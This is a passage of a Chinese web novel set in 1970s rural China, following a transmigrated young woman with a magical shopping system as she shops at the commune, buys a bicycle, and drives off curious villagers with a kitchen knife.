这橘子的介绍说的是七分酸，三分甜，整体来说很好吃。 可她吃着怎么就感觉是九分酸，一分甜呢？ “嫂子，你，你不觉得酸吗？” 程十一实在是吃不下去了，所以就很好奇刘翠花到底是怎么这么面不改色吃下去的。 刘翠花已经吃了第四瓣了，闻言动作一顿，有点愕然：“啊？酸吗？我觉得还行，要是再酸点就更好了。” 程十一瞪大了眼睛，忍不住对对方竖起了大拇指：“嫂子，你可真是这个！你要是不嫌弃，我这剩下的也给你吃吧！太酸了，我享受不了。” 要不是看在对方是真的很喜欢吃的份儿上，程十一还真说不出这样的话。 再一个这个时代的人都是很提倡浪费粮食可耻的，就和她一样，粮食不能浪费，吃的也不能浪费。 要是对方也不喜欢吃，那这橘子就留着给耿二牛他俩吃。 刘翠花又是一愣：“都，都给我？那你不吃啊？” “不吃了不吃了，太酸了，受不了。” 程十一说着就将手里剩下的橘子都给了刘翠花，尤其是一想到刚刚那个口感，她的脸又皱巴起来了。 苍天哎，谁能给她解释一下为啥这橘子这么酸啊？ 刚坐回来，就看到一旁的陈丽娇也起来了，同样说道：“嫂子，我这也吃不了，麻烦你帮我解决下吧！” 陈丽娇也是被酸得不行了，感觉牙都不是自己的了。 看着手里多出来了两个橘子，刘翠花的眼圈一下子就红了，一时间都不知道该说些什么好。 想了想，她将橘子放进了自己拎着的篮子里，又从里面掏出了个手帕。 手帕虽然不是新的，但却洗得很干净。 打开手帕，里面是几根暗红色的红薯干。 刘翠花不好意思的说道：“那啥，这是我娘家做的红薯干，也不是啥好玩意儿，你俩要是不嫌弃就，就吃吧！” 程十一和陈丽娇对视了一眼，俩人都看出了彼此脸上的差异。 这年代食物也是金贵玩意儿了，她们俩是真没想到对方竟然会拿出来请她们俩吃。 程十一最先反应过来，当即伸手捏了一根：“行，我尝尝！要是好吃，我回头就去嫂子家多吃点！” “行啊！” 刘翠花答应得也痛快：“家里有就吃，没有的话我回头回娘家的时候再拿点回来！” 橘子，加上地瓜干，就这样让刘翠花成为了程十一的朋友，虽然谈不上有多深的友情，但总归是比其他人都强很多的。 牛车上的其他人也不是不羡慕，也不是不想吃，可他们不敢吭声。 程十一教训老张婆子的画面太深刻了，大家谁都不想现在就成为第二个体验的人，所以只能是在偷偷的流口水，心里面的想法各异。 对于这些，程十一完全不在意。 她这辈子只想自己过得痛快，只要不招惹到她跟前，她可以完全当不知道。 有了橘子和地瓜干的交情在，刘翠花的话明显多了些，不过这人并不是个碎嘴，和老张婆子的那种话多完全不一样。 只是问问缺少什么，想买什么。 得到了程十一二人的回答后，刘翠花就会介绍起公社上的哪个柜台的哪个服务员服务态度好，或者是什么东西可不用去供销社买，直接去旧物回收站看看，没准儿能碰到合适的，价格上能便宜不少。 这些可都是经验，程十一二人听得认真。 也是因为有了刘翠花的这一番交代，车上的其他人也渐渐放开了，纷纷表达各自知道的消息。 还别说，真让程十一了解了不少事情。 不能说以后肯定都能用上，但多知道一些总是没坏处的。 就这样晃晃悠悠的到了公社。 大家纷纷下了马车。 耿二牛和祝成才负责去供销社排队买肉。 因为要开始秋收的关系，供销社最近的鲜肉供应明显要比平常多一些。 否则就按照光荣大队这种路程远的大队，想要坐着牛车来这里买到肉，那是绝对不可能的事。 第100章 旧物回收站之行 程十一和陈丽娇去了旧物回收站。 对于淘宝这种事，程十一并没有抱任何希望。 不能说这个时候的旧物回收站里完全没有好东西，但想要找出来那是真的难。 这次来这里，完全是因为刘翠花说的，这里能找到不少便宜还不要票的物件。 别的不说，报纸就得先弄些回去。 屋里的墙可还都是黄土墙，甚至能够看到夹杂在里面的稻草。 哪怕是新屋子，屋里也还是一天一层灰。 程十一和陈丽娇商量着买点旧报纸回去糊墙上，这样能让屋里稍微亮堂些不说，还能挡灰。 至于别的能用的东西，那就得到了后看看才知道了。 两个人问好了具体的方向后就朝着那边走，路上没什么行人，程十一就问：“娇娇姐，我看你好像很喜欢读书啊？考虑过考大学吗？” “考大学？” 陈丽娇一脸诧异：“工农兵大学的名额可难弄了，可不是想去就去的。” “不是工农兵大学，而是正常的大学。” 程十一知道未来的大概走向，再有两年就会恢复高考。 传闻明年似乎也有一场高考，但知名度很低，程十一也不知道是自己记错了还是真的有这么回事，可后年恢复高考这件事却是板上钉钉的。 她是不打算去考什么大学了，但可以怂恿，不是，可以督促身边的好朋友去参加高考啊！ 恢复高考后的第一批大学生，毕业了那都是抢着要的香饽饽，工作什么的妥妥的稳了。 陈丽娇这下不再是诧异，而是紧张，紧张到伸手去摸了摸程十一的额头，又摸了摸自己的，自言自语道：“也没发热啊，这怎么还说起胡话来了？” 程十一知道未来的走向，但对方不知道，所以也不多说什么了，反正到时候看看吧，如果能淘到相关的书籍就买回来，回头再研究要怎么让她的娇娇姐看。 陈丽娇还不知道自己未来的路已经被程十一安排了，她现在更好奇的是旧物回收站到底是什么样的。 之前在老家的时候家里卖破烂都不是她去做，还真没去过，现在也就是真的好奇了。 说是旧物回收站，但实际上并不杂乱，并没有陈丽娇想象中的乱七八糟的景象。 所有的东西都按照种类摆放在了不同的区域，新是肯定不新了，但也没说乱到无处下脚的地步。 看门的是个五十多岁的大爷，正坐在躺椅上喝着茶，手边的桌子上还放着个掉了漆的茶缸子。 也没有什么不搭理人的画面，俩人一来，老爷子问了下要找什么，一听说是报纸，就指了个方向。 堆放报纸的地方是在一个草棚子下面，除了报纸外还有不少旧书。 也没有想象中的禁书，大部分都是一些这个时代的教材，主要以小学和初中为主，高中的几乎瞧不见，就算有，那也是破损得挺厉害的了。 “娇娇姐，我听说有一套什么数理化丛书，你知道长啥样不？” 程十一一边翻找适合糊墙的报纸，一边和陈丽娇聊天。 陈丽娇嗯了声：“知道，我家里就有一套。不过那个现在可不兴拿出来，要是被人看到了会惹麻烦。” “你家有？” 程十一猛地抬头看向对方，很是意外。 陈丽娇又嗯了声：“我大哥以前的书，后来不学那些了，我大哥就留了下来。” 程十一忍不住咋舌。 看样子她娇娇姐家真的是一家子的文化银儿啊！ “娇娇姐，回头能不能把那套书邮过来给我看看？” 程十一并不知道陈丽娇只会在这里待一年时间，所以才会有这样的提议。 陈丽娇想了想，这才说道：“行是行，不过肯定不能一整套都邮过来，要是被人发现了就麻烦了。” “行，不用原书也行，要是咱大哥有时间，帮着誊抄一份也可以。” 程十一倒是不介意那些，反正有就可以。 陈丽娇这次答应得特别痛快：“好，那等会儿我给家里打电话的时候说一下。” 俩人的动作麻利，很快就找出了不少报纸，送到门口大爷那里，大爷免费送了麻绳，捆在一起，竟然有三大捆，每捆都有近一米。 “你们两个女同志能拎动不？要不然让你们其他的知青过来帮忙吧！” 因为刚来的时候就说明了是新下乡的知青想要用来糊墙，所以大爷也就有了这样的提议。 程十一提了提，摇摇头：“不用，我能提动两捆。娇娇姐，你能提动剩下的那捆不？” 陈丽娇提了提。 有点坠手，不过还在接受的范围内，也就点了头。 俩人给了钱，不贵，一块钱。 这也就是这俩人觉得不贵，但凡换个人过来都要觉得这俩人肯定是有钱烧得慌，一块钱买这么一大堆旧报纸回去。 很多人家都会选择用报纸糊墙，不过大部分都是用家里攒下的旧报纸，或者是找熟人要一些，凑吧凑吧也就够用了，还真没多少人会花这么多钱买回去。 除了报纸外，其他的东西倒是没瞧见什么特别瞧得上眼的。 铁锅这种就别想了，根本不会流到这样的地方来。 至于其他的盆、碗之类的倒是有，可都是有残缺的，一堆里面都捡不出来一个完整的出来。 脏是脏了点，但也没到包浆的程度，还是能够看出来就是当下最常见的款式，和传说中的古董有着太大的差别。 木料也有，都是一些桌子凳子柜子，可都被打砸到已经不能用了，最多也就是拿回去当柴禾烧。 这么远的路，还有这么多人一起，程十一就算想买也不可能现在入手，毕竟没办法明面带回去。 俩人出了旧物回收站，往回走的路上也没瞧见什么稀罕玩意儿。 报纸还是挺沉的，先送到了马车那边，赶车的大爷一看是程十一，当即就笑着主动提出帮忙看着。 程十一道了谢，就赶紧和陈丽娇去邮局。 趁着陈丽娇去给家里人打电话的功夫，程十一出了邮局，再次走进之前去过的胡同，确定没有人，这才从系统空间里又拿了两个大包袱出来，背着一个提着一个回到邮局门口等着陈丽娇。 这样能将物资过明路的机会可不多，她可不想错过了。 第101章 小程知青比五月的天还邪乎 陈丽娇打了电话，也领到了自己的包裹，同样的两大包，出来的时候可是费了好大的力气。 可当看到门口站着的程十一时，陈丽娇傻眼了：“十一，你，你……” 看着程十一身边放着的两个大包袱，陈丽娇都不知道该说点什么才好。 而程十一也看了过来，同样看到了对方手里的两个包裹。 “呃，娇娇姐，你在这里等会儿，我先把我的送过去，然后回来接你。” 程十一也没想到陈丽娇竟然也会收到两个这么大的包袱。 而且看陈丽娇的样子就是提着挺吃力的，俩人这么一起回去怕是不太行。 早知道就推自己的小推车出来了，可那玩意儿占地方，今天坐牛车的人多，怕是也不好。 陈丽娇刚要点头，就听见有人喊她们俩。 转头看去，便看到了并肩走过来的几个人。 最显眼的就是个子高大的耿二牛，身边是祝成才，丁立志、郑爱国，以及……顾青。 在看到顾青那一瞬间，程十一的眼睛微微眯了下。 这男人也有包裹？ “你们俩这是领完东西了？” 耿二牛走上前，笑着说道：“你俩别着急，等我们会儿，我们也来领东西，领完了咱们一起回去。” 有了现成的劳动力，程十一也不着急了，直接点头答应下来。 顾青是最后一个进去的，在路过程十一时，他的视线在程十一的身上停顿了下，这才继续往前走。 程十一敏锐的察觉到了对方的视线，直接看过去，谁知却只看到对方收回视线往前走的样子。 难道是自己出现了错觉？ 程十一抓了抓下巴，越发感觉这个顾青奇奇怪怪的。 刚刚在牛车上的时候就感觉到这人看了自己好几次，可自己每次看过去都只看到了对方的侧脸。 有了耿二牛几个人在，程十一二人的包裹就简单多了。 他们每个人也都有包裹，有大有小，不过耿二牛力气大，身上背着一个，两只手还能提着两个。 另外三个男知青倒是没办法像耿二牛那样，可最后跟着出来的顾青却直接抓起了程十一的两个包裹。 程十一看着对方两手空空变成了一人抓着自己的一个包裹，一时间有些反应不过来：“顾同志，你不来取包裹的？” 顾青看了她一眼，淡淡说道：“我是来打电话的。” “哦哦，那麻烦你了。” 确定对方是真的没有包裹，程十一也就没有心理压力了。 都是同一个大队的，相互帮助是应该的嘛！ 再说了，自己这也不是第一次接受对方的帮助了，表示心里那真是一点负担都没有。 程十一最后变成了和陈丽娇俩人提着一个包裹，一行人就这样浩浩荡荡的往回走。 回到牛车旁边时，还没有其他社员回来。 “猪肉已经买好了，还买了两根棒骨。” 耿二牛说道：“你们俩看看还要不要买点什么，回头咱们是一个人平摊。” 对于做饭这事，他和祝成才会做，但做得不如陈丽娇那么好吃，所以一些细节的东西只能交给两位女知青。 陈丽娇答应了声，拉着程十一就去了供销社。 此时供销社里的人是真的多，尤其是卖鲜肉的柜台，还有卖其他食品的柜台，说是人山人海都不为过。 程十一看得嘴角直抽抽。 “娇娇姐，咱俩还是出去吧！好像也不缺什么了，青菜什么的回头和社员们换点就行。” 程十一表示她是真的很不喜欢这种人挤人的感觉，之前坐火车，那是没办法。 现在她又不是真的缺那点吃的，真的没必要体验挤豆包的感觉，让她很没有安全感。 陈丽娇也不喜欢人挤人，当即点头，俩人立刻就退出了供销社。 不过俩人也没回牛车上，而是转头去了供销社。 可是当看到供销社那人声鼎沸的画面后，俩人更傻眼了。 “这么多人？这得排到什么时候去啊？” 陈丽娇的一张小脸儿上满是绝望：“我还想给你买肉包子吃呢！” “算了算了，咱们晚上还要吃好吃的，就不吃这里的饭菜了。” 程十一也是被成功劝退。 人太多了，真的是看着都觉得眼睛疼。 没办法，俩人只能回到牛车旁边。 就只是这么一会儿的功夫，牛车上就多了不少人，大家带着的篮子、筐或者是布兜子里都多多少少的装了东西。 大家都在讨论着刚刚买了什么，感叹人多之类的话。 程十一直接上了男知青他们所在的牛车。 因为这辆车上的都是男知青坐着，先回来的那些又都是女的，大概是觉得不习惯，所以都没过来。 程十一砸吧砸吧嘴，感觉有点饿了，就将手伸进自己的挎包摸了摸，刚想着要“摸”点什么东西出来时，就听见身后有人惊奇的问道：“小程知青，你包里还有橘子啊？” 程十一的手一顿，转身看向声音来源，见是个有点眼熟的妇女，是刚刚来时坐在同一辆牛车上的。 看着对方双眼放光的盯着自己的挎包，程十一皱了皱眉，随即将手拿出来，冷冷说道：“没有了。” “啊？没有了？” 对方显然很震惊，也很失望，但还是不死心的又问了句：“真没了？” “咋的？我是不是还得把包打开了让你看看啊？” 程十一说着，作势就要将自己的挎包打开，不过那架势真是怎么看怎么都不像是真的要让对方看。 对方也没想到程十一的脾气来得这么快，下意识的往后退了两步，讪讪笑道：“不，不用不用，我，我就随口问问。那啥，你坐着吧！我去那辆车了。” 还不等程十一再做回应，对方就拔腿朝着另外一辆牛车跑去。 哎呀妈呀，这小程知青的小脾气也太暴了吧！这咋说变脸就变脸呢？简直比五月的天还要邪乎！ 程十一翻了个白眼，随即重新坐好，继续伸手进包里摸了摸。 橘子是不好再拿出来了，那就拿点糖吧！ 等到程十一的小手从包里拿出来时，手里多出了一袋大兔兔奶糖。 第102章 你们系统包给自行车上户口不？ 拆开外面的袋子，程十一直接给刚刚帮忙搬包裹的男知青们一人分了两颗。 看着坐在自己斜对面的顾青，明明都是坐在牛车上，可顾青的脊背挺直，看着就和别人不一样。 犹豫了下，程十一还是抓了两颗奶糖递给了顾青：“顾同志，刚刚谢谢你帮忙，请你吃糖。” 看着那只瘦得跟个鸡爪子似的手心里躺着的两颗奶糖，顾青的眸光闪了闪。 他好像从来都没有被人这样主动的送糖。 其实也不是没有，很小的时候是有人给过他糖的，可是他还不等尝一尝味道，糖就会被人抢走。 等长大了，他自己赚钱了，完全可以自己买糖吃，但却压根想不起来这一茬了。 如今看着递向自己的两颗奶糖，顾青一时间竟然有点说不出的酸涩。 “不了，我不喜欢吃糖，谢谢。” 顾青选择了拒绝。 糖这东西是金贵货，不仅要有钱，还要有糖票才能买到。 下乡的知青的日子本来就不好过，尤其是这小丫头长得瘦瘦小小的，一看就是从小就没吃过什么好东西，甚至连饭可能都吃不饱。 这两颗糖对于她来说应该很珍贵吧！ 程十一眨巴眨巴眼，反问：“这世上还会有人不喜欢吃糖吗？” 也许有吧！ 在末世之前的社会，有不少人因为身体原因，或者是其他什么原因而不吃糖。 但在末世爆发后，哪怕只是一小颗糖都有可能引发一场血战。 到了这个时代，虽然没有末世那么艰难了，但糖依旧是金贵的东西，怎么会有人不喜欢呢？ 就算有人不喜欢，可也会选择收下糖，回头留给家里的孩子们吃吧！ 程十一那眨巴着大眼睛茫然不解的样子落在顾青眼里，就好像是被羽毛轻轻滑过心头似的，莫名的感觉有点痒。 “嗯，我不喜欢。” 顾青收回视线，不再去看那双无辜清澈的大眼睛。 程十一不信，可她也没有继续坚持。 不收就不收，这糖也是她花钱买的呢！ 就算是从系统商城买的，那也是买的啊！ 用的可都是她的血汗钱！ 和陈丽娇将剩下的奶糖对半分了，程十一这才拆开一颗送进嘴里，含糊不清的说道：“中午没吃饭，吃点糖垫吧垫吧。” “嗯。” 陈丽娇也已经将一颗奶糖送到了自己嘴里。 甜味带着奶香味儿，让人的心情都好像跟着变得美好起来。 牛车上也有其他人，不过因为他们和程十一之间隔着男知青们，一个个的就算是眼馋也不好说什么。 主要也是因为程十一之前踹人的举动吓着他们了，现在他们都不太想招惹程十一。 但这并不代表他们心里没有想法，一个两个的都在心里嘀咕着新来的小知青手可真松，也不知道到底是带了多少钱来下乡之类的话。 程十一自然不知道这些，就算知道了也不在意，她此时正在和系统聊天。 程十一：统统啊，话说这自行车买了以后你们系统给上户口吗？ 系统诧异反问：啥玩意儿？还要给自行车上户口？ 程十一：可不是么，这个时代的自行车也是有户口的，我记得要拿着票证还是啥的去打个钢印吧！具体的我不是很清楚。 程十一惦记买一辆自行车了。 牛车的速度也就比走路快一点，但实在是不方便。 秋收期间不能请假，不出大队倒是还好，可是以后她可是要经常往外面跑的，要不然自己上哪里找那么多合理的借口解释自己的日子？ 系统沉默了好一会儿，这才回道：亲爱的主人，我刚刚联系了主系统，主系统说可以给自行车上户口，就是在咱们当下这个时代可以承认的那种正式的户口，不过要收取一定的手续费。 程十一的眼睛一亮。 好在她此时是低着头，旁人看了就是她在摆弄自己的手指头，所以并没有发现这姑娘那双眼睛亮晶晶的，就跟俩一百瓦的电灯泡似的。 程十一：手续费怎么收？ 刚刚她可是已经在商城里搜到了自行车了，根据款式不同，功能不同，价格也不同。 特意挑选看了和这个时代相符的自行车款式，价格在120到150不等，其实也有更高的，但是没必要，她就是用来代步，又不是用来炸街用的。 系统：根据自行车的价格抽取百分之五作为手续费。 百分之五…… 程十一心算了下。 一百五的自行车就是七块五的手续费。 嗯，这个价格可以接受。 不过看着自己的余额，程十一又有点肉疼了。 她的启动资金也才不过一千出头，这段时间买了不少东西，现在余额后面的数字已经不到八百了。 这一下子有去掉了一百多，真的是心疼到呼吸都有些困难了。 可又一想到王家搜来的那些东西，程十一又感觉自己行了。 “行，我买了！” 程十一当即决定了。 接着，程十一抬起头，对着赶车的老汉说道：“叔，停下停下，我突然想起来我还有东西没买完，我先下车，回头我自己回去！” 赶车的老汉被吓了一跳，侧身转头问：“啥东西啊？重要不？不重要的话等秋收后再来买吧！这老远的道儿，你一个人走万一走丢了咋办？之前可是就有知情走丢了，差点找不到回大队的路嘞！” 关于孙娟偷跑出去结果走丢的事已经在整个大队都传遍了。 今天孙娟没来，否则听到这话怕是要闹腾一番。 程十一拍了拍自己的平板身材：“没问题！我记道，不会丢的！” 一旁的陈丽娇赶忙说道：“十一，我陪你一起吧！咱俩走还能有个伴儿。” “不用，我一个人就行。” 感觉车速慢了下来，也不等完全停车，程十一就撑着挡板跳下了车，还不忘对耿二牛和祝成才叮嘱：“等下你俩帮忙把东西放我娇娇姐那就行，我晚点回去了再说。” “行。” 耿二牛和祝成才都没意见，但也没忘了叮嘱一番注意安全之类的话。 程十一摆摆手，人就转身朝着公社的方向跑。 这会儿也才离开公社没多远，程十一的速度又不慢，很快就进到了公社的范围内。 第103章 她程姐也是有车一族了 程十一的身影远了些后，两辆牛车上的社员们就开始讨论起来了，不是在讨论程十一回去要买什么的，就是在说一些不太好听的话。 陈丽娇听得生气，忍不住和几个人争执起来。 不过那几个人全都是另外一辆牛车上的，离着远，陈丽娇也不可能跳下车去和那些人理论，一时间两辆牛车上的气氛很是紧张。 最后还是顾草根听不下去了，嗷的一嗓子骂了两句，瞬间，两辆牛车全都安静下来了。 陈丽娇还是气不过，狠狠的瞪了那几个人一眼，心里想着等十一回来了，肯定要好好的告状。 而顾青的视线则是一直盯着那抹跑远的身影若有所思。 程十一冲进了公社后才回头看一眼，发现牛车已经离着很远了，这才松了口气，也不着急用跑的了，反而慢悠悠的像是散步一样朝着旧物回收站走去。 那地方虽说没挖到什么宝，可是对于那些零散的家具什么的，程十一还是很有兴趣的。 她打算弄点凳子腿儿桌腿回去，烧火的时候丢进去，这样也能省了一部分体力和精力去捡柴了。 旧物回收站门口的大爷看到这个小姑娘又回来了，还挺纳闷：“你咋又回来了？还要买啥？” “嘿嘿，大爷，我想买点破家具回去，修吧修吧，没准儿还能再用。” 程十一说着从兜里掏了一个巴掌大的铁盒子出来。 盒子上面就是单纯的红色，一侧上面写着“茶叶”两个字。 除了这些外就没有了任何标识。 “大爷，这是我从老家带回来的茶叶，都是自己家里炒出来的，送您尝个新鲜。” 程十一将茶叶罐直接放在了大爷的搪瓷缸子旁边。 看了一眼盒子上面的字，大爷皱眉：“你这小同志咋这样？这可不行！你这不是要让我犯错误吗？” “没没，大爷，您可别误会。这完全就是我家里人自己炒的茶叶，可没花钱啥的。再说了，我不喜欢喝这玩意儿，苦不溜丢的，一点都不好喝。您要是不收，那我就只能放着了，等发霉变质了就只能丢了，到时候可就浪费了，您说是不是？” 程十一非常明白拿人手短这个道理。 直接送太贵的东西，那肯定不行，不认不识的，人家没准儿要把自己送去相关部门关起来审问呢！ 她只是想行个方便，可不是想把自己给玩进去。 大爷一听到“浪费”两个字，瞬间就不生气了，但还是犹豫了好一会儿，这才说道：“行吧！不过就这一次啊，你要是以后还这样，我可不同意！” “行行，不过大爷，我借了辆三轮车，这会儿停在拐角了，我能推进来不？这样装车也方便些。” 程十一赶忙提要求。 大爷这次倒是没有为难，直接摆了摆手：“赶紧的吧！” “好嘞！谢谢大爷！” 程十一敬了个不算标准的军礼，转身就跑了。 没两分钟，程十一推着一辆三轮车过来了。 三轮车已经很旧了，很多地方都掉了漆，好多地方一看就是后拼凑起来的。 要说这辆三轮车，那还是王家的资产呢！ 因为王家在乡下还有亲人，逢年过节的，王家一家子就是骑着这辆三轮车回去。 尤其是赶在秋收的时候，去的时候三轮车上坐的是人，回来的时候那就是粮食或者菜之类的东西了。 不过平常三轮车是不用的，所以王家人就费力的搬进了屋里，就存放在王佳佳外屋的那个小仓房里。 这样的大件，程十一自然是不能放过的。 可她也不可能没事就骑个三轮车来回跑，那样还真不如坐牛车了。 看到三轮车的新旧程度，大爷什么都没说，指了指废家具堆放的位置。 程十一赶紧推着自行车过去，实在推不过去了，便停好。 前后用了差不多半个小时，三轮车上多出来了不少桌子腿儿凳子腿儿，还有好几块不规则的木板，大大小小的，还别说，如果耐心修一修，还真能凑出一套桌椅出来。 大爷看了下数量，报价：“你这丫头还真挺会挑的。行了，给个五块钱就走吧！” 整整一车，那可不是三捆报纸，两个人提着就能走。 程十一都已经做好了对方会报价二三十的价格，没想到就只要了五块钱。 看了一眼放搪瓷缸子的桌子，上面已经没有了茶叶罐的影子。 嗯，看来是茶叶罐的功劳啊！ 反正自己不亏，感觉还挺赚的。 和大爷道了谢，程十一就推着自行车出了旧物回收站。 找了个没人的胡同，连车带车上的东西全都收进了系统仓库。 之后拿出了自己的自行车。 要说承载力，那肯定是二八大杠更好一些。 奈何程十一的身高不占优势，骑上二八大杠，那真就是真实版的一米六一米八。 她更不想掏着自行车的大杠下面骑自行车，就跟个小屁孩儿似的。 所以她选的是一块标价140的女士自行车。 纯黑色的，上面印着“红旗”两个字，就是这辆车的牌子。 程十一不知道这个牌子的自行车放在这个时代算是个什么档次，不过这些都不重要。 140，加上七块钱的手续费，一共花了147，比预计的一百五十多要省下不少。 而省下来的钱程十一也没打算存着，直接骑着自行车去了国营饭店。 此时国营饭店的人还是有很多，但排队点菜的人没有了，大家都围坐在桌子旁边吃饭聊天。 程十一来到窗口，看了下旁边的菜单。 嗯，有红烧肉，但是被划掉了。 嗯，有红烧鱼，同样被划掉了。 啧，还有猪肉炖粉条，可惜还是被划掉了。 呀，居然还有小鸡炖蘑菇呢！ 不过……同样的，也卖没了。 程十一的嘴角直抽抽。 好家伙，今天中午的伙食质量是真的硬啊，可惜她没这个命，吃不到。 剩下的就是一些青菜类了，还有两道还沾了肉的。 一道青椒炒肉，一道肉沫蒸蛋。 得，一个都不想带。 见还有猪肉白菜的饺子，程十一直接买了两份。 又买了二十个三合面馒头。 三合面馒头直接放进了个半旧的面袋子里。 这面袋子也是从王家搜出来的。 家里面的面吃完了，但是还没买新的，所以袋子就空了出来。 虽说不如新的看起来舒服，可到底是装食物的，程十一并不会计较这种细节。 第104章 炸毛的小程知青挥起了菜刀 女士自行车的承载力不如二八大杠，但也还是被程十一运用到了极致。 前面的车筐里放着从国营饭店买的包子，下面是饭盒装的饺子。 后面的架子上被左右各自挂了一个大筐。 两个筐上面都被用一块黑布盖住了，还用绳子捆着，以至于就算有风吹过也吹不开黑布，让人看不见里面的东西。 虽说从公社到光荣大队的路程也不短，路上会遇见认识的人的概率不大，但程十一还是选择小心为上。 两个筐里是实打实的装了东西，而且份量还不轻。 一个筐里面是半下大米，大米里面还有鸡蛋。 这玩意儿怕碎，放在了大米里面，让大米起减震的效果。 大米的袋子上面还铺了好几层油布，再上面就是一些零碎的东西，包括但不限于窗纸、卫生纸之类的东西。 另外一个筐里下面是半下面粉，这里面就不敢乱夹杂其他东西了，毕竟大米能洗，面粉不能。 面粉的袋子上面也是铺了好几层油纸，再上面则是肉。 五花肉，剁好的排骨，以及两个大棒骨。 骨头也是被剁成了两半，再加上筐也够大，倒是也没支棱出来。 光是这样还不算，程十一还在后面的车上面立了两块玻璃，用麻绳绑得那叫一个结实，下面还用个破褥子垫着。 这样一来骑车的时候就要格外小心，遇到一些坑坑洼洼的地方就要减慢速度或者是避开，免得玻璃震碎了，那就得不偿失了。 窗纸是给另外几个窗户准备的，至于屋里的南窗还是要用玻璃，否则透光度太差，在房间里待着就感觉憋屈。 这里的冬天很漫长，近半年的时间，一直闷在光线不明亮的屋里，程十一很担心自己会得抑郁症。 明明是一个人骑车回村，可程十一愣是让自己展现出了一种浩浩荡荡的架势。 路上果然遇见了同一个大队的人。 这些人都是不舍得花车钱，非要自己走路的。 不过这些人都是常年干活的老把式，腿脚有力气，根本不将这点路程放在眼里。 “哎呦，这是小程知青吧！这哪里整的自行车啊？” 程十一不认识这些人，但这些人认识程十一啊，直接主动打招呼。 但程十一只是摆摆手，就又很快双手把着车把手蹬车。 回答是不可能回答的，她现在只想赶紧到家，将东西卸下来不说，主要是玻璃得抓紧安上，要不然等秋收一开始，哪里还有时间和精力弄这些？ 没得到回复，社员们都不高兴，等到程十一的身影远一些了，自然是少不了一番蛐蛐。 程十一完全不在意。 终于看到了大队的影子，程十一将自行车停了下来，单腿撑地，擦了擦额头上的汗，又给自己灌了一口水，这才继续奋斗。 累是真的，但对未来美好生活的期待让程十一一口气撑到了现在。 只是还没等进大队，就有不少人注意到了程十一的身影，主要是那辆自行车，简直是太吸眼球了。 “哎呀，小程知青，你这是从公社回来的啊？哪来的自行车啊？” “妈呀，小程知青，你咋搞来的玻璃啊？这玩意儿可稀罕了！” 大家呼啦啦的围上来，逼得程十一不得不停下来，双脚踩在地上，两只手把着把手，那真是一点都不敢松懈。 “让开！” 程十一本来就累，现在又差点被人围得摔倒，心情非常不好。 “小程知青，你这俩筐里装了啥啊？瞧着份量可不轻嘞！” 围观的人压根就没注意到程十一的不高兴，甚至还有人已经伸出手要去掀开筐上的黑布。 程十一火大，嗷的一嗓子骂道：“都特么的给老娘闭嘴！还有你，把你的狗爪子收回去！要不然老娘剁了你！” 说着，程十一用肚子顶着把手，一只手依旧抓着把手，另外一只手却是直接伸进了挎包，等再拿出来时，手里赫然多了一把锃亮的菜刀。 那菜刀实在是太新了，刀刃也实在是太锋利，阳光一照，闪着的银光很是吓人。 全场瞬间安静，就连伸手即将碰到黑布的人也是动作一僵，不敢动了。 程十一缓了口气，又骂道：“都特么的眼瞎啊？看不见我要回家？现在冲上来是要碰瓷还是咋的？谁特么的再敢拦着我，我就和谁拼了！” 都要累死了，时间还紧，程十一很暴躁，瞬间就不再装乖巧的小姑娘，直接将在末世中和人厮杀抢夺物资的气势展示了出来。 明明就是个瘦瘦小小的小丫头，可此时拿着菜刀，一脸狠厉的样子愣是吓得众人齐刷刷的往后退。 程十一直接将菜刀插在车筐的边缘缝隙，重新坐上自行车。 随着她的移动，挡在前面的人赶紧让出了一条路，就这样看着程十一骑车离开。 直到人影消失在了前面的拐角，大家这才哗的一下做出了反应。 或是后怕，或是叫骂。 也有人转着眼珠子，也不知道是起了什么花心思，转身就往自家的方向跑。 程十一终于回到了自己的院子门口。 车上的东西挺沉的，而且还有两块玻璃这种易碎品，程十一也不敢直接将自行车立着不管，只能是扯着嗓子喊陈丽娇。 陈丽娇正在厨房里忙着处理晚上的食材。 听见声音，陈丽娇连手都顾不上擦就赶紧往外跑。 接着就听程十一又扯着嗓子喊耿二牛和祝成才。 两个男知青也都在陈丽娇的院子，在帮着收拾柴。 他们回来有一会儿了，俩人放下东西后就赶紧去山上捡柴，除了一小部分留给他们自己用外，大部分都送到了陈丽娇的院子。 所以程十一刚喊了这俩人，这俩人就已经先冲出来了。 “妈呀，你这是干什么去了啊？” 祝成才一见程十一这样子，当即就是一声惊呼。 耿二牛也很震惊，不过他倒是没说话，而是快步上前。 程十一也没精力回答祝成才的话，直接招呼道：“你俩快过来把玻璃拆下来，注意些，千万别弄碎了。” 第105章 她会承认她不知道这件事吗？ 陈丽娇也跑出来了，同样的被吓了一跳，也要上前帮忙，却被程十一丢了钥匙过来：“娇娇姐，你来开大门。” “哎！” 陈丽娇接住钥匙就去开程十一家的大门。 两个男知青搬玻璃搬得那叫一个小心翼翼。 这玩意儿可是易碎品，还特别不好弄，就怕一个不小心就给碰碎了。 到时候让他们赔，他们是真赔不出来啊！ 好在一切有惊无险。 没有了玻璃这种金贵玩意儿在，程十一就直接推着自行车进了大门，将自行车停好，就开始解两个筐。 两个男知青小心翼翼的将玻璃立在了南窗的窗户底下，还用两块木头小心翼翼的抵在了玻璃下面，免得玻璃滑下去再摔碎了。 之后才赶紧跑回去帮忙将两个大筐提着往屋里走。 程十一擦了擦汗。 这下终于安全了！ 陈丽娇已经将车筐里的东西全都送到了厨房，在看到那把新菜刀时明显的愣了下，但什么都没说。 她记得十一的厨房里好像有菜刀，不知道怎么又买了一把。 进屋后，程十一先给自己灌了一大口凉白开，这才说道：“你们去把你们屋里南窗的尺寸量出来，这两块玻璃不小，应该够咱们四个人分的。” 两块玻璃确实不小，当然一切以她和陈丽娇为主，至于耿二牛和祝成才能分到多少，那就得看剩下的玻璃有多少了。 两个男同志都很震惊。 耿二牛道：“小程知青，这，这太贵重了。” 祝成才也道：“是啊！这玻璃可不好弄，要不还是你留着把前后的窗户都装上吧！” 陈丽娇其实很想要玻璃窗，但她也明白在这里玻璃很不好弄到，所以也说道：“十一，你还是留着自己用吧！” “行了，你们三个别磨叽，赶紧的回去量具体的尺寸。” 程十一懒得和他们多废话。 当她不想将几扇窗户全都换成玻璃窗吗？ 她那是不想吗？ 她那是不能！ 四个人一起盖的新房子就已经够惹眼了，要是只有她一个人有玻璃窗，另外三个都没有，那不是显得自己更加独树一帜了吗？ 